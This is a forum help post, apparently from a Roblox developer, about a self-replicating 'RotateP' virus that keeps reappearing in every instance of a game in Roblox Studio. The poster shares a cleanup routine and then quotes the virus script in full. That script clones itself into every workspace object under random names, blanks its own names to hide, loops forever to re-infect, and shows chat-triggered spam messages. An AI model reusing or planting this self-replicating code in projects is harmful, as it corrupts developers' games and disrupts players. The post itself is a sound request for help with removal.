I'm trying to build a game and every time I go into studio, EVERY instance, whether it be part, seat, or script, has a child who's classname is RotateP. And every RotateP is named a random name (I'll get to that in a second). Every RotateP in every instance in my game also has a script named "ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere".
To solve this, I run a recursion that is as follows:
Containers = {"Folder", "Model"} DangerousInstances = {"Script", "RotateP", "LocalScript", "Fire", "Smoke"} function CheckDangerousInstances(instance) for i, v in pairs(DangerousInstances) do if instance:IsA(v) then return true end end return false end function CheckContainers(instance) for i, v in pairs(Containers) do if instance:IsA(v) then return true end end return false end function Recursion(Model) for i, v in pairs(Model:GetChildren()) do if CheckContainers(v) then Recursion(v) elseif v:IsA("BasePart") then Recursion(v) elseif CheckDangerousInstances(v) then v:Destroy() end end end Recursion(workspace)
Basically it deletes all scripts, rotatep's, fires, and smokes. However, the virus is back once I save and exit and then reopen studio. I can't find the source of it in my game.
Extra info: The only free models I'm using are Scripth's Admin and the f3x tool, both of which are well known and don't contain a virus. Also, here is the virus script
names={"bombvatus","justineagle","spitfire591","chillydoom","god0i0trust","bakingsoda","gotohell123","robloxsniper5","micchukelz","å9001","IStårtHere"} local NameCheck = false script.Parent.Name = names[math.random(1, #names)] script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]] local c = script.Parent:Clone() function addEvent(ch) wait(math.random()) NameCheck = false for ss = 1, #names do if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then NameCheck = true end end if NameCheck == false then local cloak = c:Clone() cloak.Name = "" cloak:GetChildren()[1].Name = "" cloak.Parent = ch cloak.Name = names[math.random(1, 5)] end end workspace.ChildAdded:connect(addEvent) game.Players.PlayerAdded:connect(function(pl) pl.Chatted:connect(function(m) if m:sub(1, 5) == "/sc t" then local m = Instance.new("Message") m.Parent = workspace m.Text = "THEY CALL ME CRAZY" wait(1) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "GOTTA GOTTA BE CRAZY" wait(1) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "GOTTA GET A LIFE (YOU)" wait(3) m:remove() end if m:sub(1, 5) == "HAAXX" then local m = Instance.new("Message") m.Parent = workspace m.Text = "HAAXX" wait(3) m:remove() end end) end) while true do local s = workspace:GetChildren() for i = 1, #s do NameCheck = false for ss = 1, #names do if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then NameCheck = true end end if NameCheck == false then local cloak = c:Clone() cloak.Name = "" cloak:GetChildren()[1].Name = "" cloak.Parent = s[i] end wait(0.1) end wait(1) end